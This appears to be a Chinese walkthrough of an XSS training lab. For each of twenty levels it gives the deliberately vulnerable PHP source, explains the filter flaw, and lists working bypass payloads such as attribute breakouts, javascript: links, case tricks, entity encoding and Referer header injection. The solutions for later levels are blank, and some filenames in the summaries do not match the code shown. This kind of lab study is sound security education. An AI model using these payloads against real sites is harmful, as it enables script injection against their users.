L1:反射型-无过滤
http://xxx/level1.php?name=test
解决
http://xxx/level1.php?name=<script>alert(123)</script>
总结
通关URL参数?name=传入payload,服务端直接拼接输出到页面,不持久化存储,需要有道受害者点击恶意链接才会触发。
L2:反射型-闭合标签
http://xxx/level2.php?keyword=test
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
//value属性值未做任何转义或过滤。
前面的<h2>标签中使用了htmlspecialchars($str),是安全的。
但在这个<input>的value属性中,直接拼接了原始的$str,没有进行任何转义。
攻击者只需输入" onclick="alert(1)就能闭合引号并注入事件属性,触发弹窗通关。
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
解决
直接闭合标签,在input外面插入新的脚本标签
http://xxx/level2.php?keyword=<script>alert(123)</script>
结果:不弹出,直接显示为字符串
http://xxx/level2.php?keyword="><script>alert(123)</script>
拼接后得到的HTML为:
<input name=keyword value=""><script>alert(123)</script>">
也可以在输入框输入" onclick="alert(1),进行点击事件的属性内部跳转
总结
用户输入在input value="..."中,<>被htmlspecialchars()转义,但value属性内未转义。
L3:反射型-单引号闭合+事件触发
http://xxx/level3.php?writing=wait
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
//这一行虽然对$str使用了htmlspecialchars,但属性的定界符是单引号,而不是双引号。
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
漏洞
htmlspecialchars 在没有设置 ENT_QUOTES 标志时,默认只转义双引号 ",不转义单引号 ' 。
所以攻击者可以用单引号提前闭合 value 属性,然后注入事件属性。
| 输入字符 | 默认转义结果 |
|---|---|
" |
" |
' |
不转义 |
< |
< |
> |
> |
| 因此,只能走属性内事件注入。 |
解决
在输入框输入鼠标属性的javascript
' onclick='alert(1)//点击触发
' onmouseover='alert(1)//鼠标滑过触发
' autofocus onfocus='alert(1)//自动触发
点击搜素后,再次点击输入框,即可
总结
< > 和双引号被 htmlspecialchars() 转义,但单引号未转义;value 用单引号包裹。
L4:反射型-双引号闭合+事件触发
http://xxx/level4.php?keyword=try%20harder!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
//value属性的值直接拼接$str3,使用双引号定界,但没有任何转义处理,只过滤了<>。
<input type=submit name=submit value=搜索 /></form>
</center>';
?>
<center><img src=level4.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
由于"><script>alert(1)</script>被处理了,并且代码没有htmlspecialchars转义,因此使用"+事件
解决
将上一关的'改成"即可
" onclick='alert(1)//点击触发
" onmouseover='alert(1)//鼠标滑过触发
" autofocus onfocus='alert(1)//自动触发
总结
< 和 > 被 str_replace() 直接删除;value 用双引号包裹。
L5:反射型-a标签href伪协议
http://xxx/level5.php?keyword=find%20a%20way%20out!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php ini_set("display_errors", 0);
// 过滤逻辑
$str = strtolower($_GET["keyword"]);
//全部转为小写
$str2=str_replace("<script","<scr_ipt",$str);
//破坏<script标签
$str3=str_replace("on","o_n",$str2);
//破坏所有on事件
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
//直接拼接,没有转义
<input type=submit name=submit value=搜索 /></form>
</center>';
?>
<center><img src=level5.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
虽然事件属性全部被破坏,但 value 属性依然没有用 htmlspecialchars 转义,双引号和尖括号都能原样输出。
解决
在输入框输入下列,用">闭合<input>标签,创建新链接可点击跳转
"><a href=javascript:alert(123)>123</a>
提交后,页面变化
点击123蓝色标签即可
总结
<script→<scr_ipt,on→o_n,事件标签和 script 标签均被破坏。进行链接点击跳转
L6:反射型-大小写绕过
http://xxx/level6.php?keyword=break%20it%20out!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php ini_set("display_errors", 0);
$str = $_GET["keyword"];
// 接受输入,没有转小写
$str2=str_replace("<script","<scr_ipt",$str);
// 破坏<script标签
$str3=str_replace("on","o_n",$str2);
// 破坏所有on事件
$str4=str_replace("src","sr_c",$str3);
// 破坏src属性
$str5=str_replace("data","da_ta",$str4);
// 破坏data:协议
$str6=str_replace("href","hr_ef",$str5);
// 破坏href属性
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
// 直接拼接,无转义
<input type=submit name=submit value=搜索 /></form>
</center>';
?>
<center><img src=level6.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
由于过滤只针对小写字符串,我们使用大写或大小写混合的属性名即可完全绕过
解决
在输入框中输入,点击搜素即可
# 利用<FORM>的action属性------javascript:伪协议
"><form action=javascript:alert(1)><input type=submit value=点我>
拼接后
<input name=keyword value=""><form action=javascript:alert(1)><input type=submit value=点我>
"><img SRC=x ONERROR=alert(1)>
拼接后
<input name=keyword value=""><img SRC=x ONERROR=alert(1)>">
"><a HREF=javascript:alert(1)>点我过关</a>
拼接后
<input name=keyword value=""><a HREF=javascript:alert(1)>点我过关</a>
# <script>标签
"> <ScRipt>alert(123)</sCript>
拼接后
<input name=keyword value=""><ScRipt>alert(123)</sCript>
总结
过滤了 script、on、src、data、href 等关键字,但 HTML 标签不区分大小写,且过滤基于小写匹配。
L7:反射型-双写绕过
http://xxx/level7.php?keyword=move%20up!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
// 全部转小写
$str2=str_replace("script","",$str);
// 删除script
$str3=str_replace("on","",$str2);
// 删除on
$str4=str_replace("src","",$str3);
// 删除src
$str5=str_replace("data","",$str4);
// 删除data
$str6=str_replace("href","",$str5);
// 删除href
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
// 直接拼接,无htmlspecialchars
<input type=submit name=submit value=搜索 /></form>
</center>';
?>
<center><img src=level7.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
str_replace 对每个关键字只执行一次替换 ,而且是非递归的。
解决
双写绕过
"><sscriptcript>alert(/xss/)</sscriptcript>
总结
关键字被 str_replace() 替换为空,但只替换一次。
L8:反射型-HTML实体编码绕过
http://xxx/level8.php?keyword=nice%20try!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
// 全部转小写
$str2=str_replace("script","scr_ipt",$str);
// 删除script
$str3=str_replace("on","o_n",$str2);
// 删除on事件
$str4=str_replace("src","sr_c",$str3);
// 删除src
$str5=str_replace("data","da_ta",$str4);
// 删除data
$str6=str_replace("href","hr_ef",$str5);
// 删除href
$str7=str_replace('"','"',$str6);
// 替换"为"
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
// 进行转义
<input type=submit name=submit value=添加友情链接 /></form>
// 输出到href属性中
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
// 使用双引号包裹,但内容$str7只做了关键字破坏,没有调用htmlspecialchars。
?>
<center><img src=level8.jpg></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
str_replace 是在原始字符串上做匹配,它不会解码 HTML 实体。
解决
采用HTML十进制实体编码
javascript:alert()
javascript:alert()
javascript:alert(1)
总结
过滤了大量关键字(script、on、src、data、href、"),值被放入<a href="...">
L9:必须包含http://+编码绕过 | 反射型
http://xxx/level9.php?keyword=not%20bad!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
// 全部转小写
$str2=str_replace("script","scr_ipt",$str);
// 删除script
$str3=str_replace("on","o_n",$str2);
// 删除on
$str4=str_replace("src","sr_c",$str3);
// 删除src
$str5=str_replace("data","da_ta",$str4);
// 删除data
$str6=str_replace("href","hr_ef",$str5);
// 删除href
$str7=str_replace('"','"',$str6);
// 替换"为"
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 /></form>
</center>';
?>
<?php
//检查是否包含http://
if(false===strpos($str7,'http://'))
{
## 不含http:// :输出固定的"不合法"链接
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
## 含http:// :输出用户可控的友情链接
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
//未做完整转义
?>
</body>
</html>
新增条件:必须包含 http:// 才会显示用户输入的链接。
解决
javascript:alert()/* http:// */
javascript:alert(1)//http://
javascript:alert()/* http:// */
总结
在第 8 关基础上增加 strpos($str, 'http://') 检查,必须包含 http:// 才插入 href。
L10:反射型-隐藏表单参数注入
http://xxx/level10.php?keyword=well%20done!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php ini_set("display_errors", 0);
$str = $_GET["keyword"];
// 全部转小写
$str11 = $_GET["t_sort"];
// 获取用户输入
$str22=str_replace(">","",$str11);
// 删除>
$str33=str_replace("<","",$str22);
// 删除<
# 不能闭合和创建新标签
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
// 输入框被隐藏了
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
代码尾部原本有 type="hidden">,会覆盖我们设置的 type,且最后的 > 是标签结束符。我们需要用单引号吞噬 掉后面的内容,使原有 type="hidden" 变成某个属性的无效值,从而保持我们设置的 type="text" 生效。
解决
http://xxx/level10.php?t_sort=
" onfocus=javascript:alert(/xss/) type="text!
<input name="t_sort" value="" onfocus=javascript:alert(/xss/) type="text!">
点击方框,即可
总结
keyword 参数是干扰项,真正输出的是 t_sort 参数;三个 input 均为 type=hidden。
L11:反射型-Referer头注入
http://xxx/level11.php?keyword=good%20job!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php ini_set("display_errors", 0);
$str = $_GET["keyword"];
// 全部转小写
$str00 = $_GET["t_sort"];
// 获取用户输入
$str11=$_SERVER['HTTP_REFERER'];
// 来自请求头Referer
$str22=str_replace(">","",$str11);
// 删除>
$str33=str_replace("<","",$str22);
// 删除<
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
// 使用了转义
<input name="t_ref" value="'.$str33.'" type="hidden">
// 漏洞
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
输入源是 $_SERVER['HTTP_REFERER'],即客户端发送的 Referer 请求头。
解决
需要用到BP抓取数据了,修改Referer
GET /level11.php?keyword=good%20job! HTTP/1.1
Host: xxx
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
添加Referer,闭合 value,注入新属性,改变输入框类型并触发自动弹窗,最后用单引号吞噬尾部多余的 type="hidden">(与第十关技巧相同)。
Referer: " onfocus=javascript:alert(/xss/) type="text"
页面发生变化,点击触发框
总结
隐藏字段 t_ref 的值从 HTTP 请求头 Referer 中获取。
L12:反射型-User-Agent头注入
http://xxx/level12.php?keyword=good%20job!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
// 来自User-Agent头
$str22=str_replace(">","",$str11);
// 删除>
$str33=str_replace("<","",$str22);
// 删除<
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
// 被转义
<input name="t_ua" value="'.$str33.'" type="hidden">
// 漏洞
# t_ua的值来自$str33,即经过删除尖括号处理后的 User-Agent 字符串,直接拼接到value属性中,双引号、空格、等号等未做任何转义。
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
解决
总结
隐藏字段 t_ua 的值从 HTTP 请求头 User-Agent 中获取。
L13:反射型-Cookie注入
http://xxx/level13.php?keyword=good%20job!
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php setcookie("user", "call me maybe?", time()+3600);
// 设置一个初始Cookie
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
// 从Cookie中取值
$str22=str_replace(">","",$str11);
// 删除>
$str33=str_replace("<","",$str22);
// 删除<
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
// t_sort,安全
<input name="t_cook" value="'.$str33.'" type="hidden">
// t_cook直接拼接,未转义
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
Cookie 完全由客户端控制,攻击者可以任意修改 user 这个 Cookie 的值。
解决
总结
隐藏字段 t_cookie 的值从 Cookie 中获取(key 为 user)。
L14:存储型-EXIF图片数据XSS
不做
http://xxx/level14.php
源代码
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center>
<iframe name="leftframe"
marginwidth=10
marginheight=10 src="http://www.exifviewer.org/"
frameborder=no
width="80%"
scrolling="no"
height=80%>
</iframe>
// 加载外部网站http://www.exifviewer.org/
</center>
<center>这关成功后不会自动跳转。成功者
<a href=/xss/level15.php?src=1.gif>
点我进level15</a>
</center>
</body>
</html>
提示"成功后不会自动跳转",意味着通关方式不再是自动重定向,而是需要在 iframe 内触发弹窗,然后手动点击链接进入下一关。
解决
总结
上传图片时,图片 EXIF 信息中的某些字段(如图片描述、版权等)未过滤直接输出。
L15:DOM型-AngularJS ng-include文件包含
http://xxx/level15.php?src=1.gif
源代码
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
解决
总结
使用 AngularJS 的 ng-include 指令,参数 src 控制包含的外部 HTML 文件。
L16:反射型-空格过滤->%0a换行符绕过
http://xxx/level16.php?keyword=test
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
解决
总结
<script、/、 (空格)被过滤或替换。
L17:反射型-embed标签参数拼接注入
http://xxx/level17.php?arg01=a&arg02=b
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
解决
总结
两个参数 arg01 和 arg02 拼接进 <embed src="xsf03.swf?arg01=arg02">,参数经过 htmlspecialchars() 转义。
L18:反射型-双参数embed拼接注入
http://xxx/level18.php?arg01=a&arg02=b
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
解决
总结
同 Level 17,但两个参数位置可互换,过滤规则相同。
L19:反射型-Flash AS2 getURL XSS
http://xxx/level19.php?arg01=a&arg02=b
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
解决
总结
Flash 文件 xsf04.swf 接受参数,通过 ActionScript 2 的 getURL() 或 ExternalInterface.call() 执行 JavaScript。
L20:反射型-Flash AS2 参数闭合XSS
http://xxx/level20.php?arg01=a&arg02=b
源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level21.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
解决
总结
同 Level 19,换用不同的 Flash 文件(参数处理方式略有不同)。